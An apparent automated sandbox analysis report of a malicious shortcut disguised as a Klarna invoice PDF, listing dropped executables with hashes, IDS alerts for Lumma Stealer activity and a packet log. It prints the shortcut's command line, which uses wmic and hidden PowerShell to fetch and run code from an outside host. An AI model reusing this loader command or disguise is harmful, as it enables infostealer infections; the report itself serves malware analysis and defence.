SSDEEP:	12288:U7+7mOB4HOu13QO9CviA3N4AS2HCczmxq9q4SZGmxB9i8k/yHUhyCLl:U7amOBfu1b9CviA82icis9yZhkbsal
MD5:	43341E3555F6556A2903517C245FDDB1
SHA1:	20F493333103CE83D21A72D8AED9FF7EC835626F
SHA-256:	00711B19D0EC268E1816F3661AA9ABCD38E4D0F990CB464136BB3E1FCEBCBECF
SHA-512:	3DA8E93C4AD6112535A8AA8C440E3D03F3AC2EEF248FB171EE3830093AA9293749CF79474DA9965EF7F25415B7BE9A8AB1BAD3BD3099E06B9581DCE465C2BEA7
Malicious:	false
Preview:	xM...I.wF.R..q.....LW...Fd....^.....y......q....eRF.jB..hA.E.bR..a.lvl....vN..GY.^.FEQ.S..r....WX.\.XO...uvt.xF.B.fIy[UjH.f.^T.l.tn..l..An.p..T.G..F.dND[Vq.dvk.LHM_Aq.iK..hG[FBoq.aIW.v.e.U.E..hUO..h^.I\.Lp..IO.IMGZ..F.UD.F...j...m.lC.f.u.m...J..NJY.UdT..f.o.H....M.T.tB.v..cA..BW..vB.Wd..ph....n.....qi.A.kH..cMtU...gwyYD.B].]....A.Y...W..I`vx.Jt.XO...f..D.p..nU..P..xC..V.KJe.[.Lo._....`i.g..AMciN..C...NoatDm..^deI...._..KIxVyD..l...Z.B..Mj.......e.I.S.pAGU.K.`W.....\.hW..ov..x..Y.h...N._v.n...bu..X..D..P.F.Z...OX.EL.I[uZ..ceN.t.r.wca..f_...lh^..x.r.l.wT.lHU.Wcx.X.......NE...V...NuH..w..tY..m^I..nV.].....PX..C.vDJ.my.xshE..^.TNi.K..NM\yhs.M...i^.gIhG.n.FnjP...^.m..LC.WeQF.\piArPw.....xg.^.^.jD..l.Q..y.HG....v...\e..w.b.J_ELH.u..b..OM`..j....I.....Yy..V..]m.ks.i[.yuAA.tu....AQ.I.JH\.......]t.F.]..Ti.M.FP.`LF.e..`_.U.RRTkT...VuV.gOA.P.iBs.fXW....vlp_....^...XI.`lX.y...U.R..q.s.QDi`w...Q.\Kdu.A....T...i..wxEA...M.ZGF.e....GNC..L.yJAN.....XV....`F^.Tr.RvS.So.V.Irj.o.....u\t.A..`..y...Hr.c...

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29152
Entropy (8bit):	6.656857622778623
Encrypted:	false
SSDEEP:	768:+yq82Ud7/zfkn8I+ilpd4TILqIgXYoBCH/3hprl:Zq824LfMV4TqqIgXYoBCH/3hpB
MD5:	B6F6C3C38568EE26F1AC70411A822405
SHA1:	5B94D0ADAC4DF2D7179C378750C4E3417231125F
SHA-256:	A73454C7FAD23A80A3F6540AFDB64FC334980A11402569F1986AA39995AE496D
SHA-512:	5C0A5E9A623A942AFF9D58D6E7A23B7D2BBA6A4155824AA8BB94DBD069A8C15C00DF48F12224622EFCD5042B6847C8FB476C43390E9E576C42EFC22E3C02A122
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=...=...=....`.?...#.e.?...#.c.<...#.r.?.......8...=...f...#.u.$...#.b.<...#.g.<...Rich=...................PE..L......I................."...(......a,.......@....@..................................u......................................lB..P....p..@............N...#...........................................A..@............@..x............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........P.......0..............@....rsrc...@....p.......<..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\python27.dll

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2649600
Entropy (8bit):	6.720396083797047
Encrypted:	false
SSDEEP:	49152:sd0krhjbVYU9U/ElyrLKlvGBO58GBjI9nYM6JBe4PjnhMsQHNClhIdYTf2O+yX3l:lkrRyylvGB652NCMghMtHIledkpX4
MD5:	142993A82414D3FA9C7904947E67A905
SHA1:	B4FAAD4FB70B7B162CC5AA0D0424C97161D7568C
SHA-256:	DB33DD28D3365144495CB84F586E029BBC90A5FC94208A1B206A55B05C1C06DF
SHA-512:	6A1AA960352420C4C583F74F61D93A5A3F3826F3E2BA32B7CDB72EBFF1D28662E30BF41A56FC8CE3559F33AA56C384975D91E0C9C0FE434AC71ADCAAA6F10AF2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Bu....{...{...{..[...{..l...{..l....{..l....{..l...{...z.<.{..l..{..l...{..l...{..l...{.Rich..{.................PE..L...x..^...........!.........................................................).....\g)...@..........................g!..\|...Q!.x....@(. ....................P(..Z.. ................................O!.@............................................text...z........................... ..`.rdata...D.......F..................@..@.data...pC....!..(....!.............@....rsrc... ....@(.......&.............@..@.reloc..~f...P(..h....'.............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\uemyb

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	data
Category:	dropped
Size (bytes):	48414
Entropy (8bit):	4.708963357337208
Encrypted:	false
SSDEEP:	768:TBecXfqXf1NYNIInfYgQHny+jIjZqd0VXSFonM1DUZazSyE3e4NTTB:FhXumbjMQSFonM2U38est
MD5:	BD34E124C62C5916C58859BF725D1DFF
SHA1:	4C3A7552AD57433A0F4D38A4527F5B92D6C361A7
SHA-256:	9025D6D49F7E049236639E657A30692E47BBECD826857B90A26DCA637C081CBB
SHA-512:	C0EA564EEFBF96ECD80E1DA5DB649CE2E23199FDDC9CD5BC35A49487F8F65CB1A33FDF9D0FE79BEB417A1F311AB2B3FC134D5E610C26789B9855DF4FE2DC4490
Malicious:	false
Preview:	.........UaZQ........y.ly.F...^..pmMW.Q.rib...[...f.M......t.._...u....SP.d..j..S\oW.Mu..pGTp.pv.j.....ZwBiuv..EqTo...IlKX..Zs..d.Q..ARmk......_.L.._MAp.....W.A...IF.c.Da[.^v...CS..y...[...J.k....UA...\.....e.y..Y.[e.W..D..Ub.Hy.y........nv.eSf...y..].l.k..i.Th]..VCa..EY..R.ZbC.h.k.YI`.UveZ...\..nF.b....t[....UES...GiP.SNw..G.[u.iG.\`.H^....OHw...Z.xKr.JJ.....m.......rpb.ktCw.c.Q..w.....JvMFl.L..pb.b.....].l.Iy.pHL..N.gY..e....x....Ues....]...Ts.^C....q.Q.N....O....Ub....g.Y.r..y.P[q.....\.T..L.Fch^..s.FofO......LZNhKL.g.N..N..Al.i.j...PpZFF.p.R^...sJ...SW..Gn^gv`c.sVJWfyRKJgb.I.J..`.I.._Lll.ZU....jO`...]_.p\[.x...Atb.Y.W..\o.YV.a[btU..Wd.T[OX.q.V.j.RJ.EN.`uf....OpK.sGo.I.`jh.RJb.u..YZGi].x..Z\.q.Q....RW....a.Q..dK.K..H......G.r..wS....Lx.\......U..y....n.aM.b.tMX.lfHO^q.s.F.BF.R...Z.....l.nG..q...xJ.HS.d..vo.u.SK.otiMa.DcvG..s.E.m.AlVYsdoAV...h.....ux.Fe..a^K..Jtkk...........H.d.t...ca...p.....P..`LgxEVo...^..f...IlTvJ[...^`.S.uXeTt...s....G.xc.Iq.IMkc.o..Ji..AUM..TqsNpXU..pT]c.].LeQj

C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe

Download File

Process:	C:\Users\user\AppData\Roaming\IMAKBWPY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2984244
Entropy (8bit):	7.938952127267539
Encrypted:	false
SSDEEP:	49152:sfU4UjEXzJK3Ecgbh2h39tV9oChSkJ0h37Hfan8oO9obENintSHdhQxns:sfUbYXzJqoh21Rmx/uLTDngKxs
MD5:	E9D35A53128839CFBB1A329A23BB430B
SHA1:	EDAAC255194E5ACD45CDFD411DDC4A0D4B8AADB8
SHA-256:	02924A18244686A485A533E0EAC2A78F777865F8F2CB585B2E2449C43F8A4FEB
SHA-512:	CC5A259F3D6EC8F6A259FA731895DD6B8DC01D77BCADC663E33C9A7623F3FC3E3A11F44CB7CF8B69079082A5041E436387CF3B2F5F5A8DD65729118A442F4BB5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A!.S.@...@...@......@.....y@......@..."\|..@..."{..@..."z.#@...8...@...8...@...@~.PA...#z.N@...#...@...@...@...#}..@..Rich.@..................PE..L......Z.....................t....................@..........................P............@..............................................:.......................=..Pv..T....................v......0p..@...................4........................text...7........................... ..`.rdata..`...........................@..@.data...0...........................@....wixburn8...........................@..@.rsrc....:.......<..................@..@.reloc...=.......>..................@..B................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.083203110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MgnQnvlJQAiveyzoa:Yw7gJGWMXJXKSOdYiygKkXe/egQndeAc
MD5:	42056E72D7560A82C69A8C0577BE3CD8
SHA1:	BD6822E26F15A535740D3D63FA5CEC8189171967
SHA-256:	BA967FC8FF530744C5DEE98FD51B35EF08C857B185DA08A837D58B26893EAEBA
SHA-512:	59E136BA6CDFDD9D2467A20BBA3530288DA15FC483306905083EEFDDF41BBF4650DE0891A19C43D5BB90039EE4BCFDD44CDBA5B08DC353C111291820E877BEBE
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 5544;...ReturnValue = 0;..};....

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	2.5112030323875967
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	KlarnaInvoice229837.pdf.lnk
File size:	1'938 bytes
MD5:	da28a682053a47872919a14d25e98598
SHA1:	ab0f8eb3dd79555ed426f70fee752fe037e74fa5
SHA256:	f830850a900edc87a76adfafb59fe18b33426bad84478cb1c6a6392f582b4c78
SHA512:	af2fe33e44bb9826ef043b121efd86c22502a1880c4e18a6e1d45a7fbdf4b0749a5d7a0ccd75bb1f19ed4a0e27af80426a36c3394270a7168bb6d5cbe14068a0
SSDEEP:	24:8AyH/BUlgKN4e0+/3ckWNBvLlhAj3Vqdd79dsHLIQ:89uGeTclBzlmj3QdJ9
TLSH:	15413A186AE51B20F3B68E32587AB7218A7B7C97ED628F1D018146CD2425610EC75F6B
File Content Preview:	L..................F.@...........................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

File Icon


Icon Hash:	929e9e96a3f3d6ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\..\..\Windows\System32\Wbem\wmic.exe
Command Line Argument:	process call create "powershell -w 1 . \W\S2\mhte https://naubeautylus.ch/Headerfrontend"
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T09:14:19.746722+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49736	62.182.21.105	443	TCP
2024-12-16T09:15:26.646413+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49815	104.21.59.81	443	TCP
2024-12-16T09:15:27.711404+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49815	104.21.59.81	443	TCP
2024-12-16T09:15:27.711404+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49815	104.21.59.81	443	TCP
2024-12-16T09:15:29.050365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	104.21.59.81	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 09:14:10.413666964 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:10.413770914 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:10.413933039 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:10.427470922 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:10.427510023 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:11.857304096 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:11.857387066 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:11.907759905 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:11.907818079 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:11.908767939 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:11.908826113 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:11.911381960 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:11.955353022 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.369091988 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.369195938 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.561522961 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.561537981 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.561616898 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.561748028 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.561748028 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.561814070 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.561881065 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.614109039 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.614156961 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.614234924 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.614303112 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.614341974 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.615349054 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.753272057 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.753293991 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.753357887 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.753384113 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.753439903 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.798873901 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.798918009 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.798949003 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.798965931 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.798995018 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.799014091 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.825248957 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.825294971 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.825329065 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.825370073 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.825401068 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.825447083 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.855895996 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.855916023 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.855962038 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.855983973 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.856008053 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.856264114 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.945642948 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.945684910 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.945724010 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.945739031 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.945770025 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.945806026 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.971503019 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.971524000 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.971570015 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.971590996 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.971613884 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.971632957 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.994956970 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.995009899 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.995043039 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.995060921 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:12.995088100 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:12.995105982 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.011240959 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.011287928 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.011360884 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.011360884 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.011387110 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.011436939 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.021795988 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.021842003 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.021893978 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.021908045 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.021939993 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.023859978 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.035058975 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.035108089 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.035270929 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.035290956 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.035340071 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.045638084 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.045684099 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.045717001 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.045730114 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.045754910 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.045774937 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.145497084 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.145560980 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.145581007 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.145596027 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.145627022 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.145647049 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.157619953 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.157680035 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.157711983 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.157726049 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.157758951 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.157779932 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.169742107 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.169790030 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.169828892 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.169842958 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.169869900 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.169974089 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.180289984 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.180334091 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.180363894 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.180377007 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.180404902 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.180430889 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.191385031 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.191426992 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.191453934 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.191467047 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.191494942 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.191514969 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.198477983 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.198522091 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.198554993 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.198568106 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.198592901 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.198610067 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.226057053 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.226103067 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.226130962 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.226145029 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.226172924 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.226190090 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.233079910 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.233127117 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.233155966 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.233179092 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.233201981 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.233233929 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.335738897 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.335805893 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.335828066 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.335848093 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.335879087 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.335901976 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.341953039 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.341998100 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.342036009 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.342050076 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.342076063 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.342092037 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.348877907 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.348927021 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.348951101 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.348963976 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.348989964 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.349009991 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.355953932 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.355997086 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.356026888 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.356040001 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.356066942 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.356086969 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.362061024 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.362103939 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.362135887 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.362149000 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.362174034 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.362193108 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.369581938 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.369621992 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.369653940 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.369676113 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.369704962 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.369746923 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.418543100 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.418598890 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.418628931 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.418642998 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.418670893 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.418688059 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.420628071 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.420696020 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.420708895 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.420769930 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.420769930 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.420821905 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.420875072 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.420875072 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:13.420908928 CET	443	49730	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:13.420975924 CET	49730	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:15.122003078 CET	49734	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:15.122040033 CET	443	49734	62.182.21.105	192.168.2.4
Dec 16, 2024 09:14:15.122123003 CET	49734	443	192.168.2.4	62.182.21.105
Dec 16, 2024 09:14:15.129435062 CET	49734	443	192.168.2.4	62.182.21.105
